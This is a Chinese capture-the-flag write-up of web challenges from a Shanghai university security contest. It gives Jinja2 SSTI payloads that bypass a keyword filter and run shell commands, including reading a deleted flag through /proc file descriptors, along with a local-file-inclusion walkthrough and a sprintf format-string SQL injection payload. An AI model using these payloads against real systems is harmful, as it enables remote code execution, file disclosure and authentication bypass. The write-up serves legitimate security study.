内容纲要

上海大学生网安大赛 SSTI

F12看到

<!--try /help when you need help.-->

访问 /help

ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sscmVxdWVzdCxyZW5kZXJfdGVtcGxhdGUKZnJvbSBqaW5qYTIgaW1wb3J0IFRlbXBsYXRlCmltcG9ydCBvcwoKYXBwID0gRmxhc2soX19uYW1lX18pCgpmID0gb3BlbignL2ZsYWcnLCdyJykKZmxhZyA9IGYucmVhZCgpCkBhcHAucm91dGUoJy8nLG1ldGhvZHM9WydHRVQnLCdQT1NUJ10pCmRlZiBob21lKCk6CiAgICBuYW1lID0gcmVxdWVzdC5hcmdzLmdldCgibmFtZSIpIG9yICIiCiAgICBwcmludChuYW1lKQogICAgaWYgbmFtZToKICAgICAgICByZXR1cm4gcmVuZGVyX3RlbXBsYXRlKCdpbmRleC5odG1sJyxuYW1lPW5hbWUpCiAgICBlbHNlOgogICAgICAgIHJldHVybiByZW5kZXJfdGVtcGxhdGUoJ2luZGV4Lmh0bWwnKQoKQGFwcC5yb3V0ZSgnL2hlbHAnLG1ldGhvZHM9WydHRVQnXSkKZGVmIGhlbHAoKToKICAgIGhlbHAgPSAnJycKICAgICcnJwogICAgICAgIHJldHVybiBmLnJlYWQoKQoKQGFwcC5lcnJvcmhhbmRsZXIoNDA0KQpkZWYgcGFnZV9ub3RfZm91bmQoZSk6CiAgICAjTm8gd2F5IHRvIGdldCBmbGFnIQogICAgb3Muc3lzdGVtKCdybSAtZiAvZmxhZycpCiAgICB1cmwgPSBuYW1lID0gcmVxdWVzdC5hcmdzLmdldCgibmFtZSIpIG9yICIiCiAgICAjIHIgPSByZXF1ZXN0LnBhdGgKICAgIHIgPSByZXF1ZXN0LmRhdGEuZGVjb2RlKCd1dGY4JykKICAgIGlmICdldmFsJyBpbiByIG9yICdwb3BlbicgaW4gciBvciAne3snIGluIHI6CiAgICAgICAgdCA9IFRlbXBsYXRlKCIgTm90IGZvdW5kISIpCiAgICAgICAgcmV0dXJuIHJlbmRlcl90ZW1wbGF0ZSh0KSwgNDA0CiAgICB0ID0gVGVtcGxhdGUociArICIgTm90IGZvdW5kISIpCiAgICByZXR1cm4gcmVuZGVyX3RlbXBsYXRlKHQpLCA0MDQKCgppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgYXBwLnJ1bihob3N0PScwLjAuMC4wJyxwb3J0PTg4ODgp

python base64解码一下获得源码

from flask import Flask,request,render_template
from jinja2 import Template
import os

app = Flask(__name__)

f = open('flag','r',encoding="utf-16")
flag = f.read()
print(flag)
@app.route('/',methods=['GET','POST'])
def home():
    name = request.args.get("name") or ""
    print(name)
    if name:
        return render_template('index.html',name=name)
    else:
        return render_template('index.html')

@app.route('/help',methods=['GET'])
def help():
    help = '''
    '''
    return f.read()

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f flag')
    url = name = request.args.get("name") or ""
    # r = request.path
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    # print(t)
    return render_template(t), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8888)

删除了flag文件的ssti,不过flag还是读到内存中了

参考:[https://www.pianshen.com/article/35761905979/]()

过滤了{{可以用{% cmd %};过滤了eval可以用'ev'+alpopen同理。

构造文件读取payload如下

{% print("".__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['ev'+'al']('__import__("subprocess").run("ls /",shell=True,capture_output=True)')) %}

本地测试通过,不过题目里没有subprocess。。。

读取进程pid

{% print("".__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['ev'+'al']('__import__("os").po'+'pen("ps -elf | grep python").read()')) %}

输出结果

4 S ctf         19     1  0  80   0 - 110464 -     10:15 ?        00:00:05 python3 /var/www/html/app.py
4 S ctf       1707    19  0  80   0 -  1126 wait   10:38 ?        00:00:00 /bin/sh -c ps -elf | grep python
1 R ctf       1709  1707  0  80   0 -  1126 -      10:38 ?        00:00:00 /bin/sh -c ps -elf | grep python
 Not found!

获取flag

{% print("".__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['ev'+'al']('__import__("os").po'+'pen("cat /proc/19/fd/3").read()')) %}

上海大学生网安大赛 TryToLogin

F12给出了文件包含漏洞

<!-- /?file=xxx 请使用绝对路径-->

访问任意404页面发现是apache+ubuntu

文件包含获取ports.conf

# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
 Listen 443
</IfModule>

<IfModule mod_gnutls.c>
 Listen 443
</IfModule>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

发现配置文件/etc/apache2/sites-enabled/000-default.conf(其实是我一时脑袋短路忘记了。。。),继续包含

# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/secret_dir_2333/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf

继续,包含?file=/mentRoot /var/www/secret_dir/index.php获得

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <title>EasyLogin</title>
</head>
<body>
<div class="container">
    <div class="row clearfix">
        <div class="col-md-12 column">
            <div class="tabbable" id="tabs-268153">
                <ul class="nav nav-tabs">
                    <li class="active">
                         <a href="#panel-671062" data-toggle="tab">Home</a>
                    </li>
                </ul>
            </div>
            <br>
            <br>
            <br><h2>Easy Login</h2>
            <br>
            <br>
            <br>
            <form role="form" action="index.php" method="POST">
                <div class="form-group">
                     <label for="exampleInputEmail1">Username</label><input type="Username" class="form-control" name="username" />
                </div>
                <div class="form-group">
                     <label for="exampleInputPassword1">Password</label><input type="password" class="form-control" name="password" />
                </div>
                <button type="submit" class="btn btn-default">Submit</button>
            </form>
            <?php
            include 'class.php';

            if(isset($_GET['file'])){

                if(preg_match('/flag/is', $_GET['file']) === 0){
                    echo file_get_contents('/'.$_GET['file']);
                }
            }

            if(isset($_POST['password'])){
                $user = new user;
                $login = $user->login();
                if($login){
                    echo <<<EOF
                    <br>
                    <div class="container">
                        <div class="row clearfix">
                            <div class="col-md-12 column">
                                <div class="alert alert-dismissable alert-info">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                                    <h4>
                                        恭喜!
                                    </h4> <strong>Success!</strong>登录成功了!
                                </div>
                            </div>
                        </div>
                    </div>
EOF;
                }else{
                    echo <<<EOF
                    <br>
                    <div class="container">
                        <div class="row clearfix">
                            <div class="col-md-12 column">
                                <div class="alert alert-dismissable alert-danger">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                                    <h4>
                                        注意!
                                    </h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
                                </div>
                            </div>
                        </div>
                    </div>

                    <!-- /?file=xxx 请使用绝对路径-->
EOF;
                }

            }
            ?>
        </div>
    </div>
</div>
</body>
</html>

发现class.php

<?php
class user
{
    public $hostname = '127.0.0.1';
    public $username = 'root';
    public $password = 'root';
    public $database = 'ctf';
    private $mysqli = null;

    public function __construct()
    {
        $this->mysqli = mysqli_connect(
            $this->hostname,
            $this->username,
            $this->password
        );
        mysqli_select_db($this->mysqli,$this->database);
    }

    public function filter() 
    {
        $_POST['username'] = addslashes($_POST['username']);
        $_POST['password'] = addslashes($_POST['password']);
        $safe1 = preg_match('/inn|or/is', $_POST['username']);
        $safe2 = preg_match('/inn|or/is', $_POST['password']);
        if($safe1 === 0 and $safe2 === 0){
            return true;
        }else{
            die('No hacker!');
        }        
    }

    public function login()
    {
        $this->filter();
        $username = $_POST['username'];
        $password = $_POST['password'];
        $sql = "select * from user where username='%s' and password='$password'";
        $sql = sprintf($sql,$username);
        $result = mysqli_query($this->mysqli,$sql);
        $result = mysqli_fetch_object($result);
        if($result->id){
            return 1;
        }else{
            return 0;
        }

    }

}

session_start();

发现是格式化字符串漏洞注入

参考深入解析sprintf格式化字符串漏洞_KKABqN-CSDN博客

payload:

username=admin&password=111%1$\' || 1=left((select xxx),xx)#

这里一个点要注意的是sprintf时如果字符串中%比提供的变量多则需要为每一个%指定对应的变量位置比如%.2f->%1$.2f,参考链接里写的是%1\$.2f是因为在双引号里$是变量符号,需要转义。

上海大学生网安大赛 变量覆盖+联合注入

这题没做,据说过于简单

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